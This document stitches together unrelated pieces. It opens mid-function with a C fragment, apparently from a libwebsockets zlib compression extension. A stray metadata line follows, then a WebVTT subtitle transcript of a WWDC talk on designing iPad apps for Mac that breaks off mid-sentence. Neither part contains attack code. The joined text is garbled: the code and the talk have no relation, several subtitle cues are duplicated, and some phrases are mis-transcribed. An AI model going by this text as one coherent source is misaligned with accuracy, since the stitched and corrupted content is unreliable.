LWS_EXT_CALLBACK_PACKET_RX_PREPARSE: /* * inflate the incoming compressed data * Notice, length may be 0 and pointer NULL * in the case we are flushing with nothing new coming in */ if (conn->remaining_in) { conn->zs_in.next_in = conn->buf_in; conn->zs_in.avail_in = conn->remaining_in; conn->remaining_in = 0; } else { conn->zs_in.next_in = (unsigned char *)eff_buf->token; conn->zs_in.avail_in = eff_buf->token_len; } conn->zs_in.next_out = conn->buf_out; conn->zs_in.avail_out = sizeof(conn->buf_out); n = inflate(&conn->zs_in, Z_SYNC_FLUSH); switch (n) { case Z_NEED_DICT: case Z_DATA_ERROR: case Z_MEM_ERROR: /* * screwed.. close the connection... we will get a * destroy callback to take care of closing nicely */ lwsl_err("zlib error inflate %d\n", n); return -1; } /* rewrite the buffer pointers and length */ eff_buf->token = (char *)conn->buf_out; eff_buf->token_len = sizeof(conn->buf_out) - conn->zs_in.avail_out; /* copy avail data if not consumed */ if (conn->zs_in.avail_in > 0) { conn->remaining_in = conn->zs_in.avail_in; memcpy(conn->buf_in, conn->zs_in.next_in, conn->zs_in.avail_in); return 1; } /* * if we filled the output buffer, signal that we likely have * more and need to be called again */ if (eff_buf->token_len == sizeof(conn->buf_out)) return 1; /* we don't need calling again until new input data comes */ return 0; case LWS_EXT_CALLBACK_FLUSH_PENDING_TX: case LWS_EXT_CALLBACK_PACKET_TX_PRESEND: /* * deflate the outgoing compressed data */ conn->zs_out.next_in = (unsigned char *)eff_buf->token; conn->zs_out.avail_in = eff_buf->token_len; conn->zs_out.next_out = conn->buf_out; conn->zs_out.avail_out = sizeof(conn->buf_out); n = Z_PARTIAL_FLUSH; if (reason == LWS_EXT_CALLBACK_FLUSH_PENDING_TX) n = Z_FULL_FLUSH; n = deflate(&conn->zs_out, n); if (n == Z_STREAM_ERROR) { /* * screwed.. close the connection... we will get a * destroy callback to take care of closing nicely */ lwsl_ext("zlib error deflate\n"); return -1; } /* rewrite the buffer pointers and length */ eff_buf->token = (char *)conn->buf_out; eff_buf->token_len = sizeof(conn->buf_out) - conn->zs_out.avail_out; /* * if we filled the output buffer, signal that we likely have * more and need to be called again... even in deflate case * we might sometimes need to spill more than came in */ if (eff_buf->token_len == sizeof(conn->buf_out)) return 1; /* we don't need calling again until new input data comes */ return 0; default: break; } return 0; }
{ "pile_set_name": "Github" }
WEBVTT 00:00:00.506 --> 00:00:05.626 A:middle [ Music ] 00:00:06.126 --> 00:00:06.446 A:middle &gt;&gt; Hello. 00:00:07.516 --> 00:00:14.536 A:middle [ Applause ] 00:00:15.036 --> 00:00:16.706 A:middle It's great to be back on stage 00:00:16.766 --> 00:00:17.586 A:middle at WWDC. 00:00:20.686 --> 00:00:22.096 A:middle I'm really happy to talk to you 00:00:22.096 --> 00:00:24.046 A:middle guys about designing iPad apps 00:00:24.046 --> 00:00:24.466 A:middle for Mac. 00:00:25.456 --> 00:00:27.426 A:middle Now, many of you here today have 00:00:27.476 --> 00:00:29.506 A:middle created awesome apps for iPad 00:00:29.506 --> 00:00:31.326 A:middle already, apps that help people 00:00:31.326 --> 00:00:32.906 A:middle be more productive, more 00:00:32.906 --> 00:00:35.126 A:middle creative, apps that entertain, 00:00:35.346 --> 00:00:36.976 A:middle that educate, that help people 00:00:37.256 --> 00:00:39.146 A:middle connect and communicate with 00:00:39.146 --> 00:00:39.606 A:middle each other. 00:00:40.666 --> 00:00:42.306 A:middle We want to make it easy for you 00:00:42.306 --> 00:00:44.416 A:middle to bring those great experiences 00:00:44.826 --> 00:00:45.146 A:middle to Mac. 00:00:46.396 --> 00:00:48.056 A:middle With keyboard and mouse or 00:00:48.056 --> 00:00:50.406 A:middle trackpad input, people can work 00:00:50.406 --> 00:00:51.926 A:middle with greater precision and 00:00:51.926 --> 00:00:52.436 A:middle speed. 00:00:53.296 --> 00:00:54.786 A:middle Flexible windows allow for 00:00:54.866 --> 00:00:57.256 A:middle efficient and fluid multitasking 00:00:57.256 --> 00:00:57.886 A:middle workflows. 00:00:58.646 --> 00:01:00.836 A:middle And larger display sizes allow 00:00:58.646 --> 00:01:00.836 A:middle And larger display sizes allow 00:01:00.836 --> 00:01:02.906 A:middle your app to present more 00:01:03.086 --> 00:01:05.376 A:middle information and actions at once. 00:01:06.526 --> 00:01:09.216 A:middle Of course, some iPad apps just 00:01:09.216 --> 00:01:10.886 A:middle won't make sense on Mac. 00:01:11.996 --> 00:01:13.676 A:middle Some used cases like navigation 00:01:13.856 --> 00:01:15.626 A:middle or augmented reality aren't 00:01:15.626 --> 00:01:16.836 A:middle suitable for a stationary 00:01:16.836 --> 00:01:17.356 A:middle computer. 00:01:18.286 --> 00:01:19.976 A:middle And apps that rely on iPad 00:01:19.976 --> 00:01:21.326 A:middle hardware features like the 00:01:21.326 --> 00:01:23.616 A:middle gyroscope or rear-facing camera 00:01:23.946 --> 00:01:25.496 A:middle won't really make sense on Mac 00:01:25.716 --> 00:01:26.036 A:middle either. 00:01:26.946 --> 00:01:29.206 A:middle But, for the rest of you, coming 00:01:29.276 --> 00:01:31.216 A:middle to Mac is a great way to offer 00:01:31.216 --> 00:01:33.396 A:middle the people who use your app with 00:01:33.396 --> 00:01:35.546 A:middle a more efficient and immersive 00:01:35.546 --> 00:01:36.316 A:middle experience. 00:01:36.996 --> 00:01:40.276 A:middle The first step in bringing your 00:01:40.276 --> 00:01:42.966 A:middle iPad app to Mac is to start with 00:01:42.966 --> 00:01:44.356 A:middle a solid foundation. 00:01:45.176 --> 00:01:47.776 A:middle Your iPad app should support 00:01:47.916 --> 00:01:50.166 A:middle features like multitasking and 00:01:50.166 --> 00:01:52.726 A:middle drag and drop as well as Auto 00:01:52.726 --> 00:01:53.076 A:middle Layout. 00:01:54.506 --> 00:01:56.216 A:middle As we all know, Mac windows can 00:01:56.216 --> 00:01:57.836 A:middle be arbitrarily resized. 00:01:59.116 --> 00:02:00.676 A:middle By fully supporting Auto Layout 00:01:59.116 --> 00:02:00.676 A:middle By fully supporting Auto Layout 00:02:01.116 --> 00:02:03.716 A:middle in your iPad app, your interface 00:02:03.716 --> 00:02:05.866 A:middle will be resizable on Mac. 00:02:07.476 --> 00:02:10.626 A:middle Similarly, if your app supports 00:02:10.626 --> 00:02:12.556 A:middle drag and drop, you're one step 00:02:12.626 --> 00:02:14.046 A:middle closer to having a great Mac 00:02:14.046 --> 00:02:14.256 A:middle app. 00:02:15.156 --> 00:02:16.916 A:middle We expect just about everything 00:02:16.916 --> 00:02:19.056 A:middle on Mac to be draggable and 00:02:19.056 --> 00:02:19.456 A:middle droppable. 00:02:20.576 --> 00:02:22.246 A:middle Now yesterday, we introduced the 00:02:22.246 --> 00:02:23.906 A:middle ability for iPad apps to have 00:02:23.906 --> 00:02:26.186 A:middle multiple windows, like drag and 00:02:26.186 --> 00:02:27.856 A:middle drop, opening documents into 00:02:27.856 --> 00:02:29.316 A:middle their own windows is something 00:02:29.316 --> 00:02:30.616 A:middle that we all expect on Mac. 00:02:31.646 --> 00:02:33.216 A:middle If your app supports this 00:02:33.216 --> 00:02:34.816 A:middle feature, you'll automatically 00:02:34.816 --> 00:02:36.386 A:middle get multiple windows support on 00:02:36.386 --> 00:02:38.646 A:middle Mac as well, which brings me to 00:02:38.646 --> 00:02:39.206 A:middle the next topic. 00:02:39.206 --> 00:02:41.126 A:middle What do you get for free? 00:02:41.986 --> 00:02:42.726 A:middle Free is good, right? 00:02:43.606 --> 00:02:45.276 A:middle To make the task of coming to 00:02:45.276 --> 00:02:48.366 A:middle Mac easier, many iOS interfaces 00:02:48.366 --> 00:02:49.596 A:middle and interactions will 00:02:49.596 --> 00:02:51.526 A:middle automatically be adjusted to 00:02:51.606 --> 00:02:53.066 A:middle macOS equivalents. 00:02:54.416 --> 00:02:56.256 A:middle iOS split views will be drawn as 00:02:56.256 --> 00:02:57.166 A:middle split views on Mac, 00:02:58.046 --> 00:02:59.416 A:middle system-provided UIs like the 00:02:59.626 --> 00:03:01.736 A:middle file browser and activity view 00:02:59.626 --> 00:03:01.736 A:middle file browser and activity view 00:03:01.976 --> 00:03:03.806 A:middle will be remapped to platform 00:03:03.806 --> 00:03:04.976 A:middle appropriate equivalents. 00:03:05.736 --> 00:03:07.926 A:middle Edit menus and iOS contextual 00:03:07.926 --> 00:03:09.866 A:middle menus will automatically be 00:03:09.916 --> 00:03:11.796 A:middle presented as contextual menus on 00:03:12.106 --> 00:03:12.466 A:middle Mac. 00:03:12.936 --> 00:03:14.896 A:middle Copy and paste, rich text 00:03:14.926 --> 00:03:17.316 A:middle editing, and key focus all come 00:03:17.316 --> 00:03:18.406 A:middle for free as well. 00:03:19.026 --> 00:03:22.586 A:middle Now in all of these cases, the 00:03:22.586 --> 00:03:25.996 A:middle mapping between iOS and macOS is 00:03:26.086 --> 00:03:27.456 A:middle relatively straightforward. 00:03:28.726 --> 00:03:30.996 A:middle However, there are some key 00:03:30.996 --> 00:03:34.606 A:middle differences between macOS and 00:03:34.606 --> 00:03:34.706 A:middle iOS. 00:03:34.706 --> 00:03:35.996 A:middle Designing an app that feels 00:03:35.996 --> 00:03:37.856 A:middle appropriate for each platform 00:03:38.216 --> 00:03:39.876 A:middle involves understanding and 00:03:39.876 --> 00:03:41.676 A:middle accounting for those differences 00:03:42.046 --> 00:03:43.546 A:middle in your app. 00:03:44.176 --> 00:03:46.226 A:middle The biggest and most critical 00:03:46.226 --> 00:03:48.476 A:middle difference is that iOS was 00:03:48.476 --> 00:03:50.836 A:middle designed for touch, whereas mac 00:03:51.216 --> 00:03:53.096 A:middle was designed for keyboard and 00:03:53.096 --> 00:03:54.546 A:middle mouse input. 00:03:55.196 --> 00:03:57.226 A:middle Designing for touch involves 00:03:57.266 --> 00:03:58.816 A:middle offering touch targets that are 00:03:58.816 --> 00:04:00.916 A:middle larger and easier to access, 00:03:58.816 --> 00:04:00.916 A:middle larger and easier to access, 00:04:01.296 --> 00:04:02.736 A:middle especially when you're walking 00:04:02.736 --> 00:04:04.026 A:middle or moving around. 00:04:05.206 --> 00:04:07.366 A:middle On Mac, using a trackpad or 00:04:07.366 --> 00:04:09.316 A:middle mouse provides physical 00:04:09.316 --> 00:04:11.606 A:middle stability and greater control. 00:04:12.456 --> 00:04:13.986 A:middle And because pointers are small, 00:04:13.986 --> 00:04:15.716 A:middle people can target and manipulate 00:04:15.716 --> 00:04:17.505 A:middle interface objects with greater 00:04:17.505 --> 00:04:18.096 A:middle precision. 00:04:19.356 --> 00:04:21.166 A:middle Smaller controls also allow Mac 00:04:21.206 --> 00:04:23.736 A:middle UIs to have greater information 00:04:23.736 --> 00:04:25.246 A:middle density or greater control 00:04:25.246 --> 00:04:25.666 A:middle density. 00:04:26.956 --> 00:04:28.446 A:middle All iOS devices support 00:04:28.446 --> 00:04:30.036 A:middle Multi-Touch gestures like pan, 00:04:30.316 --> 00:04:31.686 A:middle rotate, and pinch. 00:04:32.386 --> 00:04:34.056 A:middle Some Mac setups don't have 00:04:34.126 --> 00:04:35.096 A:middle Multi-Touch input. 00:04:35.566 --> 00:04:37.276 A:middle So, if there's any interactions 00:04:37.276 --> 00:04:39.526 A:middle in your app or any actions that 00:04:39.806 --> 00:04:41.326 A:middle rely on gestural input to be 00:04:41.326 --> 00:04:43.086 A:middle performed, you have to find 00:04:43.086 --> 00:04:44.546 A:middle alternatives for the Mac. 00:04:46.006 --> 00:04:47.936 A:middle When an iPhone is held with one 00:04:47.936 --> 00:04:49.646 A:middle hand in portrait orientation, 00:04:49.946 --> 00:04:51.616 A:middle placing controls in the middle 00:04:51.616 --> 00:04:52.766 A:middle or the bottom of the screen 00:04:53.026 --> 00:04:54.766 A:middle might make them easier to reach. 00:04:55.246 --> 00:04:57.586 A:middle So -- and the same is true for 00:04:57.586 --> 00:04:59.356 A:middle iPad in landscape orientation. 00:04:59.356 --> 00:05:00.506 A:middle People tend to grip on the 00:04:59.356 --> 00:05:00.506 A:middle People tend to grip on the 00:05:00.506 --> 00:05:03.016 A:middle sides, so placing controls on 00:05:03.016 --> 00:05:04.716 A:middle the left or right side may make 00:05:04.716 --> 00:05:05.786 A:middle them easier to reach there. 00:05:07.126 --> 00:05:09.196 A:middle Obviously, on Mac, people do not 00:05:09.196 --> 00:05:10.626 A:middle hold or displace when they use 00:05:10.626 --> 00:05:10.936 A:middle them. 00:05:11.866 --> 00:05:13.706 A:middle Placing controls along the 00:05:13.706 --> 00:05:15.416 A:middle bottom, the left or the right 00:05:15.416 --> 00:05:17.826 A:middle edges provides no ergonomic 00:05:17.886 --> 00:05:19.096 A:middle benefit whatsoever. 00:05:20.146 --> 00:05:22.666 A:middle Every area of the screen is just 00:05:22.666 --> 00:05:25.206 A:middle as easy to reach as every other 00:05:25.206 --> 00:05:25.476 A:middle area. 00:05:26.536 --> 00:05:28.156 A:middle And, speaking of displays, 00:05:28.516 --> 00:05:30.086 A:middle you'll need to consider how your 00:05:30.086 --> 00:05:32.466 A:middle Apple look on 1x non-Retina 00:05:32.686 --> 00:05:33.226 A:middle displays. 00:05:33.926 --> 00:05:35.486 A:middle Special care must be given to 00:05:35.486 --> 00:05:37.376 A:middle assure that glyphs in text look 00:05:37.596 --> 00:05:38.826 A:middle crisp and legible. 00:05:39.466 --> 00:05:43.046 A:middle Look, I know, we all basically 00:05:43.046 --> 00:05:44.656 A:middle understand that touch devices 00:05:44.956 --> 00:05:46.496 A:middle are different from desktop 00:05:46.576 --> 00:05:47.206 A:middle computers. 00:05:48.216 --> 00:05:49.536 A:middle But what's less obvious is how 00:05:49.536 --> 00:05:51.106 A:middle interaction models and design 00:05:51.106 --> 00:05:53.266 A:middle patterns vary between iOS and 00:05:53.396 --> 00:05:54.086 A:middle macOS. 00:05:54.846 --> 00:05:57.346 A:middle These differences are the key to 00:05:57.346 --> 00:05:59.196 A:middle successfully translating your 00:05:59.196 --> 00:06:01.576 A:middle iPad app's design to macOS. 00:05:59.196 --> 00:06:01.576 A:middle iPad app's design to macOS. 00:06:02.616 --> 00:06:05.756 A:middle So, with that in mind, let's get 00:06:05.756 --> 00:06:07.496 A:middle into the details about how to 00:06:07.496 --> 00:06:08.766 A:middle design iPad apps for Mac. 00:06:09.616 --> 00:06:11.326 A:middle As you can see, we have a lot to 00:06:11.326 --> 00:06:11.706 A:middle cover. 00:06:12.286 --> 00:06:13.686 A:middle You really may want to take some 00:06:13.686 --> 00:06:14.086 A:middle notes. 00:06:14.956 --> 00:06:16.406 A:middle OK. Let's keep going. 00:06:17.296 --> 00:06:19.026 A:middle Nothing is more critical to an 00:06:19.026 --> 00:06:20.696 A:middle app's design than how it's 00:06:20.696 --> 00:06:21.446 A:middle architected. 00:06:22.396 --> 00:06:24.076 A:middle A logical and intuitive app 00:06:24.076 --> 00:06:25.916 A:middle structure helps people to find 00:06:25.916 --> 00:06:27.706 A:middle what they're looking for and it 00:06:27.706 --> 00:06:29.616 A:middle streamlines navigation. 00:06:30.466 --> 00:06:32.446 A:middle iOS apps tend to be structured 00:06:32.706 --> 00:06:34.106 A:middle in one of three ways. 00:06:35.136 --> 00:06:36.616 A:middle Some apps use tabs for 00:06:36.616 --> 00:06:38.306 A:middle organizing information into a 00:06:38.306 --> 00:06:40.086 A:middle small number of top-level 00:06:40.086 --> 00:06:40.576 A:middle sections. 00:06:41.596 --> 00:06:44.126 A:middle Some present a top-level list of 00:06:44.126 --> 00:06:45.566 A:middle sections in a table view. 00:06:46.576 --> 00:06:48.736 A:middle And some document-focused apps 00:06:49.156 --> 00:06:50.486 A:middle use -- they use a file/folder 00:06:50.486 --> 00:06:52.266 A:middle metaphor, might have a document 00:06:52.266 --> 00:06:53.676 A:middle browser UI at the top level. 00:06:54.426 --> 00:06:55.996 A:middle The chances are that your app 00:06:56.136 --> 00:06:58.216 A:middle matches one of these three 00:06:58.216 --> 00:06:58.876 A:middle archetypes. 00:06:59.826 --> 00:07:01.886 A:middle The simple path is to find the 00:06:59.826 --> 00:07:01.886 A:middle The simple path is to find the 00:07:01.886 --> 00:07:04.276 A:middle closest macOS equivalent and 00:07:04.276 --> 00:07:05.076 A:middle just use that. 00:07:06.296 --> 00:07:07.936 A:middle For tabbed apps, you could use a 00:07:07.936 --> 00:07:09.516 A:middle segmented control in the 00:07:09.516 --> 00:07:10.046 A:middle toolbar. 00:07:10.906 --> 00:07:12.956 A:middle If your top-level navigation is 00:07:12.956 --> 00:07:14.606 A:middle a master list, you can do 00:07:14.606 --> 00:07:16.816 A:middle nothing and it'll show up as is 00:07:16.946 --> 00:07:19.226 A:middle on Mac, same thing with a 00:07:19.226 --> 00:07:20.246 A:middle document browser UI. 00:07:21.366 --> 00:07:23.976 A:middle A direct translation of your app 00:07:23.976 --> 00:07:26.116 A:middle structure from iOS to macOS 00:07:26.576 --> 00:07:27.666 A:middle might be the right way to go. 00:07:28.506 --> 00:07:30.406 A:middle It provides one key benefit. 00:07:31.346 --> 00:07:33.326 A:middle It'll make the Mac version of 00:07:33.326 --> 00:07:35.406 A:middle your app instantly familiar to 00:07:35.406 --> 00:07:36.726 A:middle the people who are familiar with 00:07:36.726 --> 00:07:38.006 A:middle your iOS app already. 00:07:39.506 --> 00:07:41.186 A:middle On the other hand, you might be 00:07:41.186 --> 00:07:42.556 A:middle missing out on an important 00:07:42.556 --> 00:07:44.336 A:middle opportunity to streamline 00:07:44.336 --> 00:07:45.066 A:middle navigation. 00:07:46.436 --> 00:07:49.266 A:middle On Mac, sidebars are a powerful 00:07:49.266 --> 00:07:50.326 A:middle navigation tool. 00:07:50.896 --> 00:07:52.756 A:middle They easily accommodate a large 00:07:52.756 --> 00:07:54.666 A:middle number of options that can be 00:07:54.666 --> 00:07:56.806 A:middle grouped and labeled to help 00:07:56.976 --> 00:07:59.136 A:middle provide additional context and 00:07:59.136 --> 00:08:00.736 A:middle make them easier to scan. 00:07:59.136 --> 00:08:00.736 A:middle make them easier to scan. 00:08:01.586 --> 00:08:03.026 A:middle So, if you currently have a 00:08:03.026 --> 00:08:04.916 A:middle tabbed app, you could present 00:08:04.916 --> 00:08:06.136 A:middle those tabs in a segmented 00:08:06.136 --> 00:08:08.866 A:middle control or you could put them 00:08:08.896 --> 00:08:09.756 A:middle into a sidebar. 00:08:10.946 --> 00:08:12.526 A:middle Now, this obviously does not 00:08:12.866 --> 00:08:13.516 A:middle look great. 00:08:13.736 --> 00:08:15.246 A:middle It's not a very effective use of 00:08:15.246 --> 00:08:16.076 A:middle screen space. 00:08:16.686 --> 00:08:18.736 A:middle But if those four tabs have 00:08:18.876 --> 00:08:21.006 A:middle subsections, you can display 00:08:21.006 --> 00:08:22.616 A:middle those subsections in line. 00:08:23.446 --> 00:08:25.356 A:middle This greatly flattens an app's 00:08:25.406 --> 00:08:27.346 A:middle hierarchy and allows people to 00:08:27.476 --> 00:08:29.366 A:middle move directly between 00:08:29.366 --> 00:08:30.136 A:middle subsections. 00:08:30.736 --> 00:08:32.126 A:middle It can even allow people to 00:08:32.126 --> 00:08:34.306 A:middle customize these items to their 00:08:34.306 --> 00:08:34.726 A:middle needs. 00:08:35.885 --> 00:08:37.696 A:middle As we saw before, if your app 00:08:37.696 --> 00:08:39.936 A:middle has top-level list or table view 00:08:39.936 --> 00:08:42.126 A:middle for navigating between sections, 00:08:42.736 --> 00:08:44.126 A:middle that translates directly. 00:08:44.546 --> 00:08:45.986 A:middle Split views are the way to get a 00:08:45.986 --> 00:08:46.996 A:middle sidebar on Mac. 00:08:47.756 --> 00:08:49.176 A:middle You just enable the translucent 00:08:49.176 --> 00:08:50.446 A:middle background and you're good to 00:08:50.446 --> 00:08:50.666 A:middle go. 00:08:51.846 --> 00:08:53.876 A:middle And lastly, if your iOS app 00:08:53.876 --> 00:08:55.406 A:middle shows a document browser at the 00:08:55.406 --> 00:08:57.386 A:middle top level, you can use a sidebar 00:08:57.386 --> 00:08:59.766 A:middle for providing persistent access 00:09:00.086 --> 00:09:02.066 A:middle to folders or for displaying 00:09:02.286 --> 00:09:03.336 A:middle saved searches. 00:09:04.376 --> 00:09:06.276 A:middle If you use a sidebar, there are 00:09:06.276 --> 00:09:07.566 A:middle two things to keep in mind. 00:09:08.876 --> 00:09:10.946 A:middle First, sidebars are providing 00:09:10.946 --> 00:09:12.656 A:middle access to locations within your 00:09:12.656 --> 00:09:15.366 A:middle app or collections of documents. 00:09:16.276 --> 00:09:17.666 A:middle They're not really meant for 00:09:17.666 --> 00:09:19.146 A:middle showing the documents or other 00:09:19.146 --> 00:09:20.996 A:middle kinds of content directly. 00:09:22.246 --> 00:09:24.106 A:middle Second, the sidebar plays an 00:09:24.106 --> 00:09:26.136 A:middle important role in helping people 00:09:26.136 --> 00:09:27.926 A:middle understand which window or app 00:09:28.256 --> 00:09:29.646 A:middle has key focus. 00:09:30.486 --> 00:09:32.616 A:middle Glyphs, selection highlights and 00:09:32.686 --> 00:09:34.036 A:middle the sidebar background itself 00:09:34.306 --> 00:09:35.726 A:middle are stylized to appear 00:09:35.726 --> 00:09:37.456 A:middle translucent when the current 00:09:37.456 --> 00:09:38.676 A:middle window is active. 00:09:39.416 --> 00:09:40.856 A:middle This effect goes away when the 00:09:40.856 --> 00:09:42.286 A:middle window becomes inactive. 00:09:43.076 --> 00:09:44.806 A:middle Knowing which window is going to 00:09:44.806 --> 00:09:46.816 A:middle respond to keyboard input is 00:09:46.816 --> 00:09:47.896 A:middle super important. 00:09:48.816 --> 00:09:50.716 A:middle To support this effect, use a 00:09:50.716 --> 00:09:51.896 A:middle translucent background. 00:09:52.256 --> 00:09:53.826 A:middle Don't fill the sidebar in with a 00:09:53.826 --> 00:09:55.886 A:middle solid color or an image or 00:09:55.886 --> 00:09:57.346 A:middle pattern or anything like that. 00:09:58.036 --> 00:09:59.806 A:middle For selection highlights, use 00:09:59.806 --> 00:10:01.266 A:middle the system selection color 00:09:59.806 --> 00:10:01.266 A:middle the system selection color 00:10:01.566 --> 00:10:02.856 A:middle rather than a custom color or 00:10:02.856 --> 00:10:04.286 A:middle like an app tint color. 00:10:05.176 --> 00:10:07.146 A:middle And in general, you should use 00:10:07.146 --> 00:10:08.466 A:middle template images that have a 00:10:08.466 --> 00:10:10.666 A:middle vibrancy effect applied rather 00:10:10.666 --> 00:10:12.646 A:middle than full color images unless 00:10:12.646 --> 00:10:13.416 A:middle it's necessary. 00:10:14.626 --> 00:10:17.386 A:middle OK. Next, let's talk about 00:10:17.386 --> 00:10:17.906 A:middle toolbars. 00:10:18.806 --> 00:10:20.256 A:middle Toolbars are commonplace on the 00:10:20.256 --> 00:10:20.556 A:middle Mac. 00:10:20.556 --> 00:10:22.546 A:middle And chances are, you'll want to 00:10:22.546 --> 00:10:24.066 A:middle use one for your app. 00:10:24.466 --> 00:10:26.296 A:middle Placing controls into a toolbar 00:10:26.556 --> 00:10:28.026 A:middle makes them more discoverable. 00:10:28.026 --> 00:10:29.896 A:middle And it leads to a more stable 00:10:29.896 --> 00:10:31.086 A:middle user experience. 00:10:31.946 --> 00:10:33.726 A:middle Toolbars create a top-down 00:10:33.756 --> 00:10:35.246 A:middle information flow which is the 00:10:35.246 --> 00:10:36.736 A:middle norm for Mac apps. 00:10:37.596 --> 00:10:39.796 A:middle If your iPad app has any actions 00:10:39.796 --> 00:10:41.036 A:middle that are located along the 00:10:41.086 --> 00:10:44.446 A:middle bottom edge of the screen, doing 00:10:44.446 --> 00:10:46.126 A:middle the same thing in a Mac window 00:10:46.126 --> 00:10:47.476 A:middle can be very problematic. 00:10:48.176 --> 00:10:49.686 A:middle Mac windows are draggable. 00:10:50.296 --> 00:10:51.806 A:middle The bottom edge of Mac windows 00:10:51.806 --> 00:10:54.846 A:middle might be dragged out of you, or 00:10:54.846 --> 00:10:55.626 A:middle below the dock. 00:10:56.656 --> 00:10:58.056 A:middle Clearly this leads to some 00:10:58.196 --> 00:10:59.336 A:middle usability issues. 00:11:00.536 --> 00:11:01.926 A:middle When putting actions into the 00:11:01.926 --> 00:11:03.806 A:middle toolbar, keep in mind that a 00:11:03.806 --> 00:11:05.696 A:middle toolbar's contents don't change 00:11:06.006 --> 00:11:07.786 A:middle based on what area of an app 00:11:07.986 --> 00:11:08.996 A:middle someone is in. 00:11:09.626 --> 00:11:10.886 A:middle If they can't be used in a 00:11:10.886 --> 00:11:12.976 A:middle certain area of the app, they'll 00:11:12.976 --> 00:11:13.826 A:middle be disabled. 00:11:14.976 --> 00:11:16.666 A:middle But toolbar action should only 00:11:16.666 --> 00:11:18.586 A:middle really get disabled if nothing 00:11:18.586 --> 00:11:20.096 A:middle is selected for them to act 00:11:20.096 --> 00:11:20.566 A:middle upon. 00:11:21.166 --> 00:11:23.266 A:middle So, if actions are only relevant 00:11:23.266 --> 00:11:25.186 A:middle in specific areas of your app, 00:11:25.656 --> 00:11:27.236 A:middle they probably should not be in 00:11:27.236 --> 00:11:27.766 A:middle the toolbar. 00:11:28.996 --> 00:11:30.626 A:middle That said, you can provide 00:11:30.626 --> 00:11:32.806 A:middle contextually relevant actions in 00:11:32.806 --> 00:11:33.766 A:middle an action menu. 00:11:34.286 --> 00:11:35.826 A:middle Action menus can dynamically 00:11:35.826 --> 00:11:37.656 A:middle change based on the current view 00:11:37.926 --> 00:11:38.816 A:middle or selection. 00:11:39.706 --> 00:11:41.086 A:middle For example, with a file 00:11:41.086 --> 00:11:42.796 A:middle selected in a Finder window, the 00:11:43.066 --> 00:11:44.766 A:middle action menu includes actions 00:11:44.766 --> 00:11:45.996 A:middle that can be performed on the 00:11:45.996 --> 00:11:46.516 A:middle file. 00:11:46.556 --> 00:11:48.806 A:middle And with nothing selected, the 00:11:48.806 --> 00:11:50.526 A:middle action menu contains commands 00:11:50.776 --> 00:11:52.196 A:middle that can be performed on the 00:11:52.196 --> 00:11:53.726 A:middle current folder that we're 00:11:53.726 --> 00:11:54.176 A:middle viewing. 00:11:54.466 --> 00:11:57.236 A:middle Now, action menus are not meant 00:11:57.236 --> 00:11:58.076 A:middle to be a catchall. 00:11:58.396 --> 00:12:00.146 A:middle So be selective about what you 00:11:58.396 --> 00:12:00.146 A:middle So be selective about what you 00:12:00.146 --> 00:12:01.076 A:middle put into them. 00:12:02.126 --> 00:12:04.286 A:middle OK. Next, let's talk about 00:12:04.286 --> 00:12:04.706 A:middle layout. 00:12:05.706 --> 00:12:07.446 A:middle Mac windows are much, much, 00:12:07.446 --> 00:12:09.416 A:middle much, much larger than iPads. 00:12:10.126 --> 00:12:11.476 A:middle You'll have much more space to 00:12:11.476 --> 00:12:13.336 A:middle play with, especially in full 00:12:13.336 --> 00:12:13.866 A:middle screen. 00:12:14.506 --> 00:12:16.106 A:middle But taking advantage of all of 00:12:16.106 --> 00:12:17.986 A:middle that space requires a layout 00:12:17.986 --> 00:12:20.176 A:middle that's optimized for iPad. 00:12:21.066 --> 00:12:23.056 A:middle Now, some iPad layouts are just 00:12:23.216 --> 00:12:25.116 A:middle blown-up iPhone interfaces, 00:12:25.656 --> 00:12:27.986 A:middle which looks really bad on an 00:12:27.986 --> 00:12:28.606 A:middle iPad. 00:12:28.606 --> 00:12:31.626 A:middle And it looks even worse on a Mac 00:12:31.626 --> 00:12:33.476 A:middle especially in full screen. 00:12:34.606 --> 00:12:36.646 A:middle Optimizing your layouts for iPad 00:12:36.646 --> 00:12:38.856 A:middle and Mac requires special 00:12:38.856 --> 00:12:39.826 A:middle consideration. 00:12:40.736 --> 00:12:42.576 A:middle For both devices, readable 00:12:42.576 --> 00:12:44.476 A:middle content margins keep text lines 00:12:44.476 --> 00:12:46.296 A:middle from getting too long so that 00:12:46.296 --> 00:12:47.616 A:middle they remain readable. 00:12:48.586 --> 00:12:50.196 A:middle Breaking content into multiple 00:12:50.196 --> 00:12:51.886 A:middle columns can be a great way to 00:12:51.886 --> 00:12:54.766 A:middle maximize information density and 00:12:55.066 --> 00:12:56.216 A:middle using split views or 00:12:56.216 --> 00:12:58.306 A:middle master-detail views is a great 00:12:58.306 --> 00:13:00.826 A:middle way to utilize a wider display. 00:12:58.306 --> 00:13:00.826 A:middle way to utilize a wider display. 00:13:01.916 --> 00:13:03.156 A:middle Split views streamline 00:13:03.156 --> 00:13:05.566 A:middle navigation by simultaneously 00:13:05.566 --> 00:13:07.556 A:middle displaying a list of objects and 00:13:07.556 --> 00:13:09.546 A:middle details about that object which 00:13:09.546 --> 00:13:11.516 A:middle reduces the need to navigate 00:13:11.516 --> 00:13:13.416 A:middle into and back out of an app 00:13:13.486 --> 00:13:13.976 A:middle hierarchy. 00:13:14.886 --> 00:13:16.756 A:middle If you have a Split View in your 00:13:16.756 --> 00:13:18.776 A:middle app, it'll work great on Mac 00:13:18.876 --> 00:13:20.086 A:middle without modification. 00:13:21.126 --> 00:13:22.546 A:middle Now, this may sound a little bit 00:13:22.546 --> 00:13:24.526 A:middle strange but making your layout 00:13:24.526 --> 00:13:26.886 A:middle work great on a Mac is probably 00:13:26.886 --> 00:13:28.706 A:middle the best way to identify and 00:13:28.706 --> 00:13:30.926 A:middle address layout issues for Mac -- 00:13:31.606 --> 00:13:32.116 A:middle for iPad. 00:13:32.886 --> 00:13:36.526 A:middle OK. Moving on to type. 00:13:37.936 --> 00:13:40.676 A:middle On macOS, the baseline font size 00:13:40.676 --> 00:13:41.516 A:middle is 13 points. 00:13:42.116 --> 00:13:44.916 A:middle Most controls and labels use 00:13:44.986 --> 00:13:45.766 A:middle that font size. 00:13:46.816 --> 00:13:48.956 A:middle On iOS, the baseline font size 00:13:48.956 --> 00:13:49.906 A:middle is 17 points. 00:13:50.546 --> 00:13:53.466 A:middle Showing an iOS app with 17-point 00:13:53.466 --> 00:13:55.096 A:middle type on a Mac would look totally 00:13:55.096 --> 00:13:55.746 A:middle out of place. 00:13:56.246 --> 00:13:57.796 A:middle Text would be way too large. 00:13:58.486 --> 00:14:00.786 A:middle So, to maintain 